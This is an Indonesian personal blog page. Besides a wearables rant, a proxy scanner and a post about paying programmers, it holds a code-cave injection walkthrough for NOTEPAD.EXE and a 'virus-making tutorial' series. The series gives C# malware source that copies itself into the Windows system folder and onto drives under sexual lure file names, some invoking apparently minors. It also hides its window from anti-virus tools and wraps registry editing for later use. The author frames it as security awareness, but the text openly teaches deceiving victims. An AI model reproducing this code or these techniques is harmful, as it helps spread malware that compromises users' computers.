Sebegitu Goblogkah Pemakai Wearable Device

By // No comments:
Aku mbaca perkembangan teknologi Wearable Device kok semakin gak mudeng yak. Gak mudeng kalau ada orang yang mau memakainya. Gila saja, kita bener-bener akan termonitor danterlogging dari aktifitas, posisi, detak jantung, bahkan sampai dengan hormonal. Gua pikir, loe-loe yang make wearable device itu kek kaya Sapi Ostrali yang di cocok alat tracker, tahu.......???.
Apakah tidak mungkin sampai suatu hari nanti wearable device dapat menghitung input dari hormon atau apapun yang berhubungan dengan itu, untuk menentukan bahwa Kamu pemakai wearable device suka dengan seseorang atau benci dengan seseorang, sampai suatu ketika wearable device dapat memberikan kamu informasi bahwa orang yang kamu benci dan tidak ingin kamu temui ada di dekat anda, dan memberikan anda opsi untuk melewati jalur lain agar tidak bertemu dengan dia ?. Sebegitu pengecutkah orang-orang nantinya ?. Tapi santai bagi Kamu-Kamu yang benci dengan saya, kamu-kamu tetep akan bisa bertemu dengan saya pada waktu dan tempat yang tidak akan kamu duga. tongue emoticon.
Atau di keadaan yang lain, ketika kamu-kamu suka dengan seseorang dan selalu memonitor semua kegiatannya karena kemampuan wearable device untuk merangkum semua aktifitasnya di facebook, twitter ataupun path, sampai akhirnya kamu bisa melakukan pertemuan tidak disengaja yang sebenernya kamu sengaja ?.. Terus berjanjian untuk makan siang ??. dan ketika makan siang wearable device mendapat inputan dari hormonalmu bahwa ini waktu yang tepat untuk nembak dia, sehingga wearable device akan menyusunkan kata-kata nan puitis dan dikirim ke si Dia via Whasapp ??. Sebegeitu kecilkan otak orang2, sampai menyusun kata puitis saja gak mampu ?.

Injecting Executable File

By // No comments:
Selamat Malam. Pada kesempatan kali ini, seperti tertera pada Title saya ingin bercerita sedikit mengenai Injeksi Executable File. Duh, saya malah jadi bingung dengan “Injeksi Executable File”, enaknya nyebutnya apa yah ?. Dah pokoknya gini, kita mencoba memasukan sebuah proses ke dalam sebuah executable file, sehingga proses yang kita inginkan bisa ter-eksekusi ketika aplikasi di jalankan. Pada tulisan kali ini saya menggunakan Windows XP SP3 yang terinstall pada VMWare, dan OllyDBG. Kita akan mencoba menginjeksi NOTEPAD.EXE bawaan dari Windows XP, bukan karena apa-apa karena saya juga cuman ngopi dari internet tak uji coba trus bikin tutorial dengan bahasa Indonesia hehe.
Saya sudah mencoba teknik ini di Windows 8.1 64bit, dan tidak berhasil, karena : ada kemungkinan file NOTEPAD.EXE di Windows 8.1 beda atau saya menggunakan OllyDBG yang 32bit ?. Wis pokokenya begitu lah, saya blom berhasil untuk Windows 8.1.
Boleh Curhat dikit yak,. Tentunya boleh dong wkwkwkwk,. Asli lagi mumet banget nich malam. Masalahnya sepele, client minta file log dari sebuah aplikasi di kirim ke server, ntah bagaimanapun caranya dan menggunakan jalan apa pun. Lah file log dikirim ke server menggunakan aplikasi yang menggunakan file log tersebut ?. lah kalau aplikasi jalan tentunya file log-nya kan dalam posisi open terbuka, OK kalau cuman bikin kopinan kirim ke ke server, tetapi ada sebuah proses yang tidak bisa saya ceritakan yang intinya kalau saya tidak menghapus file log ketika log telah dikirim ke server, maka aplikasi akan berulang tak hingga. Yak mumet. Tapi ya udah, dari pada mumet-mumet trus mimik-mimik mendingan mumet trus bikin orang lain ikut mumet, kan asik biar bisa ikutan sama-sama mumet. Wkwk
Ok, kita mulai saja. Pertam-tama kita copy-kan dulu file NOTEPAD.EXE yang berada pada C:\Windows\NOTEPAD.EXE ke Desktop.

Buka file NOTEPAD.EXE dengan OllyDBG.

Cari lokasi kosong. Ngga tahu semua aplikasi atau tidak, tetapi banyak aplikasi yang saya buka dengan OllyDBG dia mempunyai free space yang bisa kita gunakan untuk memasukan apapun dari string, sampai dengan perintah program. Biasanya lokasi kosong tersebut ada di bagian akhir program, jadi scroll down OllyDBG sampai anda menemukan lokasi yang cocok dengan selera anda, tidak harus sama dengan saya.

Pada tulisan ini saya ingin (meskipun sebenere bukan keinginan saya, cuman di tutorial yang saya baca contohnya begitu) menampilkan sebuah MessageBox yang bertuliskan “Injected”. Anda bisa memasukan string apapun, tapi kalau bisa jangan telalu panjang, karena kalau terlalu panjang Ibu-Ibu katanya gak suka, tapi kalau terlalu lebar katanya lagi Bapak-Bapak yang gak minat. Tulis pada sebuah kertas string yang ingin anda tampilkan, kemudia hitung banyak karakternya termasuk spasi. Untuk contoh string “Injected” terdapat 8 karakter, sehingga click salah satu baris di Lokasi Kosong, kemudian drag sebanyak 8 baris, atau sesuiakan dengan string yang ingin ditampilkan.

Kemudian click kanan pada area yang telah dipilih dan pilih dari menu “Binary” > “Edit”.

Dari Windows Editor yang muncul, ketikan karakter yang ingin anda tampilkan.

Click “OK” dan tekan CTRL+A untuk melakukan analisis code.

Kemudian pada beberapa baris di bawahnya masukan code Assembly berikut:

PUSH 0               ; nampilkan MessageBox dengan OK button
PUSH 1008748       ; alamat relatif memory string berada   
PUSH 1008748           ; alamat relatif memory string berada      
PUSH 0                 ; Nggak make Icon
CALL MessageBoxA ; Panggil MessageBox

Tulis dan catat baik-baik alamat dari perintah PUSH 0 yang pertama, dalam tulisan ini adalah 1008752.

Kemudian click kanan pada baris yang kosong dan pilih menu “Go To” > “Origin”, untuk kembali ke entry point atau baris pertama kali aplikasi di jalankan.

Setelah kita di kembalikan lagi ke Entry Point, Drag beberapa baris yang ada di mulai dari Entry Point kebawah, kemudian click kanan dan pilih menu “Copy” > “To clipboard”.

Setelah itu, Paste Code yang sebelumnya telah di Copy ke Notepad. Dalam hal ini berarti Notepad yang berada pada C:\Windows.

Balik lagi ke OllyDBG, rubah baris pada Entry Point yang dalam tulisan ini adalah PUSH 70, menjadi JMP 1008752.

Buka kembali Notepad tempat kita menyimpan baris code dari Entry Point tadi, dan bandingkan perubahan yang terjadi pada baris mana saja.

Balik lagi ke baris di mana tadi di awal kita membuat string, dan masukan kode sehingga terlihat seperti berikut

PUSH 70 dan PUSH 1001898 adalah baris yang ter-replace pada saat kita memasukan PUSH 1008752, tepat di bawahnya kita beri perintah JMP 10073A4 agar kita balik lagi ke baris tepat di bawah baris yang ter-replace. Kemudian click kanan pada baris yang berwarna merah, atau baris yang telah mengalami perubahan pilih “Copy to Executable” > “All Modifications”.

Pilih “Copy All” pada MessageBox yang tampil, akan tampil sebuah Windows baru, click kanan pada area yang berwarna hitam, dan pilih  “Backup” > “Save data to file” dan beri nama NOTEPAD1.EXE. Jalankan file NOTEPAD1.EXE dan kita akan mendapatkan sebuah MessageBox.


Terima Kasih, semoga Tidak bermanfaat, dan selamat ketemu kembali di tulisan-tulisan lain yang lebih membosankan.



Menghargai Programmer

By // No comments:
Dua minggu ini saya sering Tepok Jidad beneran.
Ceritanya ada client lama yang kembali menghubungi untuk memesan sebuah Aplikasi. Memang sih yang selalu berkomunikasi dengan saya adalah Pribumi, tetapi semua direksi atau pemilik perusahaanya adalah Bule Amrik.
Kok bisa tepok Jidad?. lah setiap saya upload progress dan ada penambahan feature saya selalu melampirkan requirement software. Terakhir saya minta MS SQL Server 2014 Standart (gak usah lah yang aneh2, 7jutaan saja keknya dapat), di Kasih MS SQL Server 2014 Express Advance, dengan alasan feature yang dibutuhkan cukup. Lah iya feature cukup, cuman programmingnya beda tongue emoticon.
Saya di beri akses masuk ke server via Remote Desktop, dan dari RDP saya bisa remote via VNC ke komputer lain yang masih masuk dalam pekerjaan saya, dan PARAHNYA semua komputernya LEGAL whatepak. INDONESIA MAN LEGAL ?. Saya Minta Windows Server 2012 saja cuman dikasih WIndiws 2008 R2 tapi LEGAL, saya pikir wong tinggal download di kickass.to juga dapat.
Tapi asli tuh bule menghargai banget namanya Programmer atau kerjaan dari Programmer. Saya setiap deal sebuah aplikasi ya deal harga pada saat pembicaraan tersebut terjadi, ketika ada pembicaraan lain dan terjadi penambahan requirement, maka akan ada kontrak berbeda. Ngga mau ada component .Net crack2an, untungnya saya sudah meng-konfersi semua component yang saya butuhkan ke versi geratisnya, atau kalau memang tidak ada saya sudah buat sendiri component-nya from scratch.
Mungkin kalau pengguna aplikasi komputer di Indonesia, bisa menghargai keringat programmer kek tuh bule, programmer Indonesia bakalan senyum lebar ,dan menghasilkan aplikasi2 berkualitas.

PROXY SCANNER V1.0

By // No comments:
Selamat sore menjelang malam. Di Malam Minggu yang ceria bagi para Joomlo ini dikarenakan Hujan, sepertinya saya sedang tidak ingin ngobrol-ngobrol masalah pembuatan Virus. Dari selesai Sholat Jum’at kemarin sampe sore ini saya telah menulis sebuah program yang bertujuan untuk mencari proxy yang terbuka dari sebuah range IP Address. Ya bener range IP Address, karena aplikasi ProxyScanner ini akan mengecek semua IP Address dari IP Address tertentu sampai dengan IP Address yang lain. Sebagai contoh kita akan melakukan pengecekan proxy dari IP 192.168.1.1 s/d 192.168.1.254 maka akan ada 254 IP Address yang di scan.
Aplikasi ini juga memungkinkan pengesetan Port, Username, dan Password dari Proxy. Jadi seumpama kita ingin mengecek range IP dengan port 8081 dengan Username tertentu dan Password tertentu, tinggal masukan Port, Username, dan Password pada TextBox yang tersedia. Langsung saja akan saya jelaskan bagaimana untuk menggunakan aplikasi ProxyScanner. Jika anda pertama kali menggunakan ProxyScanner maka anda harus menjalankan sebagai Administrator, karena ProxyScanner membutuhkan sebuah Windows Event Log slot untuk menyimpan semua log, Click kanan pada ProxyScanner.exe dan Run As Administrator.
Apabila aplikasi sudah running masukan data seperti berikut, atau sesuaikan dengan kebutuhan anda
  • From IP Address : adalah IP Address awal, atau IP Address terkecil yang akan di scan.
  • To IP Address : adalah IP Address akhir, atai IP Address terbesar yang akan di scan.
  •  Port : Masukan sesuai kebutuhan, Port Proxy mana yang akan di scan.
  •  Username : Username dari proxy server jika anda ingin melakukan pengecekan dengan credential.
  •  Password : Password dari proxy server jika anda ingin melakukan pengecekan dengan credential.
Apabila semua data telah dimasukan, click “START” untuk memulai pengecekan.
Aplikasi ProxyScanner juga memungkinkan untuk di Cancel, dengan me-click “STOP”
Apabila semua proses ProxyScanner selesai di lakukan dan terdapat Proxy Server yang terdeteksi, profile dari Proxy Server akan di simpan pada file “ValidProxy.txt” yang berada satu Folder dengan file aplikasi.
Apabila anda menemukan sebuah error, bisa langsung printscreen pesan errornya dan kirim ke wawan_redhat@yahoo.com. Terima Kasih

Tutorial Pembuatan Virus Part 4

By // No comments:
Selamat siang, Tulisan Tutorial Pembuatan Virus ini telah masuk ke Part 4. Pada part ini saya akan membahas mengenai Windows Registry, pada akhir pembahasan akan saya paparkan sebuah class untuk akses ke Registry Windows, untuk membuat, membaca atau menghapus Key Registry. 
Sebelum memulai semua, seperti biasa saya akan curhat . Beberapa hari yang lalu ada temen sewaktu kuliah (sampai hari ini sih masih temen) yang menyarankan saya untuk menghentikan tulisan Tutorial Pembuatan Virus ini dan menggantinya dengan Tutorial Membersihkan Virus. Maaf teman, tulisan-tulisan seperti itu sudah lama dulu beberapa kali pernah saya tulis, tetapi hasilnya adalah, mereka yang membaca tulisan saya tersebut kemudian download toolsnya, jalankannya dan komputernya bersih hari itu, hari besok sudah terkena virus kembali. Tulisan-tulisan semacam begitu tidak ada edukasinya sama sekali menurut saya, sudah nulisnya susah, bikin risetnya susah, create Virus Cleanernya ribet, di download di pake tapi besokannya kena virus yang lain lagi. Tetapi dengan tulisan Tutorial Pembuatan Virus ini, pada dasarnya saya punya Misi, yaitu pengin memberikan kesadaran kepada para pengguna komputer agar aware dengan Computer Security, paling tidak timbul kesadaran lah untuk “Owh ya saya harus menjaga komputer pribadi saya”.
Lah kok misinya aware terhadap Computer Security, bukan malah sebaliknya ?. Lah iya, saya ingin memberikan gambaran bahwa orang yang ngerti programming bisa dengan sebegitu gampangnya membuat code virus atau apapun namanya dan bisa masuk ke dalam sistem komputermu hanya karena kamu lalai, tidak tahu, atau tidak mau tahu. Sekarang saya tanya, dari yang mbaca tulisan ini berapa orang yang masang anti virus, meskipun geratisan ?. Berapa yang secara berkala update anti virus ?. Siapa yang masih mencari aplikasi bajakan ?. Siapa yang masih menggunakan keygen ?. Siapa yang masih menggunakan Crack sistem Patching ?. Yakin semua aplikasi yang kamu pakai aman ?.
OK dech lanjut ke materi. Windows Registry ?, saya pertama kali melihat aplikasi Reqistry Editor pada saat masih menggunakan Windows 95, dan saya ndak ngerti apakah di versi Windows sebelumnya menggunakan teknik ini atau tidak. Yang saya pahami dari Windows Registry adalah cara Microsoft untuk menyimpan settings, property dslb dari Sistem Operasi Windows agar mudah di buat, di baca dan di hapus. Sampai dengan Windows XP, sepengetahuan saya kita tidak membutuhkan Administrator Privileges untuk dapat mengakses Registry, tetapi sejak Windows Vista sampai dengan Windows 8.1 kita butuh Administrator Privileges untuk mengaksesnya.
Seperti saya bilang di awal, saya akan paparkan sebuah class untuk akses ke Registry Windows, tidak usah banyak kata lagi, langsung buat sebuah class dengan nama RegAccess di bawah Logic.
  1. Click kanan pada Folder Logic > Add > Class
  2. Beri nama class dengan RegAccess
  3. Tambahkan code pada class RegAccess sehingga menjadi sebagai berikut
using System;
using Microsoft.Win32;

namespace Viruses.Logic
{
    class RegAccess
    {
        public static Exception Exception;

        public Boolean Create(ref RegistryKey keyValue, String nameValue, String dataValue)
        {
            try
            {
                keyValue.SetValue(nameValue, dataValue);
            }
            catch (Exception exception)
            {
                Exception = exception;
                return false;
            }

            return true;
        }

        public Boolean Read(ref RegistryKey keyValue, String nameValue, ref Object dataValue)
        {
            try
            {
                dataValue =  keyValue.GetValue(nameValue);
            }
            catch (Exception exception)
            {
                Exception = exception;
                return false;
            }

            return true;
        }

        public Boolean Delete(ref RegistryKey keyValue, String nameValue)
        {
            try
            {
                keyValue.DeleteValue(nameValue);
            }
            catch (Exception exception)
            {
                Exception = exception;
                return false;
            }

            return true;
        }
    }
}
Untuk Part 4 saya cukupkan sampai di sini. Terima Kasih

Tutorial Pembuatan Virus Part III

By // No comments:
Selamat siang, selamat bertemu lagi . Mumpung hari minggu dan tidak ada kerjaan, karena sepertinya semua dead-line project sudah teratasi, mari kita bikin sesuatu yang bener-bener tidak berguna. Seperti omongan saya pada Part II, kali ini saya akan membahas masalah Portable Executable dan nanti di akhir pembahasan akan masuk sedikit ke class Gandakan.
Portable Executable ?. Apa sebenarnya Portable Executable itu ?. Saya akan menjelaskan dengan bahasa saya atas dasar pengetahuan yang saya miliki, dan yang perlu di ingat bahwa “Bisa jadi saya salah, tapi ada kemungkinan juga saya benar”. Portable Executable menurut bahasa saya adalah aplikasi atau pogram yang dapat di jalankan (dieksekusi) oleh sebuah sistem operasi dan dapat di pindahkan atau di jalankan dari satu komputer ke komputer lain tanpa harus melakukan perubahan, atau re-code atau re-compile. Jadi dengan bahasa saya tersebut, bisa dikatakan SEMUA aplikasi yang berjalan pada sistem operasi Modern adalah Portable Executable. Pertanyaan selanjutnya mungkin akan timbul “Bagaimana dengan aplikasi-aplikasi portable yang tanpa installasi ?”, Proses installasi program pada dasarnya hanya meng-copy-paste-kan executable file ke dalam storage, dan memastikan semua komponen yang dibutuhkan telah eksis pada komputer bersangkutan. Komponen yang dibutuhkan seperti contoh file dll, library dslb. Jadi aplikasi-aplikasi portable yang sering kita jumpai di forum-forum crack itu pada dasarnya adalah executable file yang di paket menjadi satu dengan file-file pendukungnya, sehingga kita tidak harus melakukan copy-paste (baca installasi) pada komputer yang bersangkutan.
Sebelum melanjutkan pembahasan, mungkin banyak dari anda sekalian khususnya yang sedang kuliah jurusan komputer atau baru lulus kuliah komputer akan bingung dengan penjelasan saya diatas. Kalau anda bingung itu pasti, karena dulu saya juga bingung, sebelum akhirnya saya reformat otak atas informasi yang saya dapatkan sewaktu kuliah, dan me-replace-nya dengan informasi-informasi baru yang saya dapatkan dari ebook download-an. Memang menurut saya konsep komputer, sistem operasi, processor, dan lain sebagainya yang diajarkan di Kampus sudah banyak ketinggalan jaman, atau paling tidak sudah tidak sesuai dengan keadaan sekarang. Tetapi jangan khawatir, dasar pemikirannya belum berubah, hanya implementasinya saja yang berubah, jadi ilmu yang anda dapatkan di kampus masih bermanfaat, paling tidak sebagai pengetahuan dasar.
Setelah dijelaskan mengenai Portable Executable mestinya akan ada pertanyaan yang mendasar “Portable Executable ?, loh kok .Net Framework ?”. Pada Part I saya sudah mengatakan bahwa aplikasi virus akan dibangun menggunakan C# dengan .Net Framework 2.0. Melihat namanya Framework, orang biasanya akan langsung berpikir “Lah kan berarti itu middleware yang artinya aplikasi tidak berjalan native”. Terus terang saja, saya bingung dengan konsep Framework dan Middleware. Framework dan Middleware buat saya dua hal yang berbeda. Mungkin orang akan selalu menghubungkan hal tersebut karena dulu awal-awal bumming kata-kata tersebut populer bareng bersamaan dengan kepopuleran bahasa JAVA. Buat saya Framework ya Framework, dia kerangka kerja, garis acuan dalam pengembangan sebuah aplikasi, dan Middleware adalah sebuah aplikasi lain yang menjembatani antara sebuah aplikasi dengan sistem operasi, sebagai contoh JVM yang akan menterjemahkan bitcode yang dihasilkan dari Java Compiller ke bahasa yang dimengerti processor dan bersesuaian dengan Sistem Operasi yang digunakan. Pertanyaan selanjutnya adalah “Apakah aplikasi yang dibangun dengan C# atau VB .Net dengan .Net Framework Native ?, karena kan butuh .Net Framework yang terinstall di Sistem Operasi.” Jika pertanyaan yang kurang lebih begitu ditanyakan kepada saya, dan beberapa orang juga sudah bertanya, saya ingin bertanya balik “VB6 Native ?, Visual C++ Native ?, Delphi Native ?”. Seperti juga aplikasi .Net yang membutuhkan file-file pendukung yang terpaket dalam .Net Framework aplikasi-aplikasi yang dikembangkan dengan bahasa2 tersebut juga pada dasarnya membutuhkan file-file pendukung yang “secara default sudah ada pada sistem operasi”.
Pembahasan mengenai Portable Executable untuk kali ini saya cukupkan segitu, karena kalau di bahas lebih lanjut, bisa-bisa dua kali puasa dua kali lebarang belum kelar juga Part III ini. Langsung saja buka Visual Studio dan open project “viruses”, kemudian click dua kali pada file  Gandakan.cs untuk membuka file editor dan ketikan kode berikut


using System;
using System.IO;
using System.Windows.Forms;

namespace Viruses.Logic
{
    class Gandakan
    {
        private readonly string[] _names = { "janda.JPG.exe", "ariel sex tape.JPG.exe", "chika bandung.JPG.exe", 
                                             "Lisa Poltek Bandung.JPG.exe", "Maria Ozawa.JPG.exe", 
                                             "JAV artis.JPG.exe", "SMA Slawi bugil.JPG.exe", "bugil kamar mandi.JPG.exe",
                                             "smp 4 jakarta ngentot.JPG.exe", "nabila JKT48 telanjang.JPG.exe"
                                           };
        private readonly Random _random = new Random();

        public Boolean CopySystem()
        {
            try
            {
                File.Copy(Application.ExecutablePath, Environment.SystemDirectory + "/thevirus.exe", true);
            }
            catch (Exception)
            {
                return false;
            }
            return true;
        }

        public Boolean CopyDrive(string driveValue)
        {
            try
            {
                var index = _random.Next(0, _names.Length);
                if (!Application.ExecutablePath.Equals(driveValue + _names[index]))
                {
                    File.Copy(Application.ExecutablePath, driveValue + _names[index], true);
                }
            }
            catch (Exception)
            {
                return false;
            }
            return true;
        }

        public Boolean CopyTo(string destinationValue)
        {
            try
            {
                if (!File.Exists(destinationValue))
                {
                    File.Copy(Application.ExecutablePath, destinationValue, true);
                }
            }
            catch (Exception)
            {
                return false;
            }
            return true;
        }
    }
}
Penjelasan dari Code diatas kurang lebih seperti ini :

  1. Variable Array String _names, adalah variable yang digunakan untuk menyimpan nama file hasil penggandaan diri. Ini adalah teknik pengecohan, memang teknik kuno tetapi sampai hari ini menurut saya masih sangat efektif, tinggal pinter-pinter kita melakukan trik untuk menipu orang.
  2. Fungsi CopySystem, adalah fungsi yang digunakan untuk meng-copy-kan aplikasi virus ke System Windows. Fungsi ini membutuhkan Administrator Privileges, tapi jangan takut, setelah nanti banyak Part tentang pengetahuan dasar selesai di tulis akan saya jelaskan tentang mengakali hal ini.
  3. Fungsi CopyDrive, adalah fungsi yang berguna untuk meng-copy-kan aplikasi virus ke Drive active.
  4. Fungsi CopyTo, adalah fungsi yang berguna untuk meng-copy-kan aplikasi virus ke target path sesuai dengan definisi.

Untuk kali ini saya cukupkan sampai sekian dulu, dan hal yang perlu diingat adalah Saya kehilangan semua Source Code lama saya karena HDD bad-sector tanpa sempat melakukan backup, dan semua data dan code-code yang saya punya hilang semua. Jadi Code-code dalam tulisan ini dan tulisan-tulisan selanjutnya adalah Code baru, dan saya sendiri belum mengujinya jadi ada kemungkinan code error. Sambil jalan akan saya benerin, jadi ada kemungkinan nanti ke depan akan ada refisi-refisi kode. Terima Kasih.

Tutorial Pembuatan Virus Part II

By // No comments:
Siang semua, Ok pada Sabtu Siang yang panas dirumah saya yang gak ber-AC ini, saya ingin meneruskan tulisan saya mengenai pembuatan Virus, dan Post ini tak kasih Judul “Tutorial Pembuatan Virus Part II”. BTW, ini seriusan,. Masalah Rumah panas tak ber-AC hanya masalah saya tidak mau beli AC, gitu saja sih sebenere :P. Ya gimana yah,... BELI AC-nya sih mampu dan bisa-bisa saja, cuman ngopeni Setrumnya itu yang ....... asudahlah, penikmat Listrik 900Watt yang masih dalam subsidi pemerintah, memang tidak perlu berfoya-foya .
Curhatnya udahan, kita curhat ke materi yang lain, ini beneran curhat bukan pengalihan isu. Jadi pada dasarnya dan pada intinya, saya hari ini Sabtu 18 April 2015 (What ?? 18 April, berarti saya ulang tahun dong ) sudah berenca untuk menulis tentang materi Pencurian Credential dan sudah saya kumpulkan materinya, tetapi ternyata pagi tadi lihat facebook, di Wall saya temukan link tutorial masalah Phishing, materinya kurang lebih sama, tidak terlalu jauh berbeda, jadi besok lagi saja nulisnya kalau sempet.
Pada tulisan ini saya akan meneruskan tulisan Part I yang sudah pada langkah pertama pembuatan class Beranak. Tapi terus terang setelah saya baca lagi tutorialnya, sepertinya class Beranak kok terasa agak aneh yah, jadi saya putuskan untuk mengganti name class-nya menjadi Gandakan, untuk melakukannya click kanan pada file Beranak.cs kemudian Rename dan rubah menjadi “Gandakan”


Sebelum masuk pada penulisan code pada class Gandakan, saya ingin memberikan sedikit penyesuaian pada Property dari Form1. Pertama saya ingin merubah nama Form1 menjadi FormMain. Click kanan pada file Form1.cs dan Rename, kemudian ubah nama form menjadi FormMain.


Pada dasarnya tidak melakukan perbahan Form Name juga tidak ada masalah, ini faktor kebiasaan saja merubah Nama Form Utama dari aplikasi menjadi FormMain. Setelah melakukan perubahan Form Name, langkah selanjutnya adalah merubah beberapa Property dari FormMain. Yang pertama Form Text, ubah Form Text menjadi kosong atau tanpa karakter atau string.empty. Ini bertujuan untuk sedikit membingungkan aplikasi lain seperti anti virus atau semacemnya yang mencoba mengakses aplikasi kita pada saat running. Karena ada beberapa algoritma yang memanfaatkan Windows API untuk memanipulasi sebuah aplikasi yang sedang running  dengan memanfaatkan Form Text untuk memilih aplikasi yang menjadi target dari sekian banyak aplikasi di Windows System yang sedang berjalan.


Kita juga akan merubah FormBorderStyle-nya dengan FixedDialog.


Men-disable MaximizeBox dan MinimizeBox


Men-setting Opacity menjadi 1% agar Form menjadi transparant dan mengganti Property ShowInTaskbar menjadi False agar Form tidak terlihat seperti Siluman, semacam Ada dan Tiada. BTW, kenapa opacity di setting 1% tidak 0% sekalian ?, saya lupa di sebelah mananya tetapi nanti akan kita temukan error kalau Form mempunyai Opacity 0%.


Setting terakhir adalah merubah Property WindowState ke Minimized dengan tujuan agar aplikasi ketika berjalan otomatis minimize dan tidak menutupi aplikasi lain.


Setelah semua penyesuaian Property dilakukan, Run aplikasi. Jika semua Property tersetting dengan benar, seharusnya anda tidak akan tahu aplikasi sedang running, kecuali di lihat menggunakan Task Manager.


Tadi di angan-angan saya sebelum menulis tutorial part II ini, saya ingin sekalian membahas mengenai Portable Executable, dan sekalian source code untuk class Gandakan, tetapi kok sepertinya sampai di sini saja sudah banyak yak. Jadi saya putuskan pembahasan materi tersebut akan saya beberkan di Part III saja. Terakhir kata,  TERIMA KASIH dan doakan agar saya segera punya waktu luang kembali untuk menulis Tutorial Selanjutnya.



Powered by Blogger.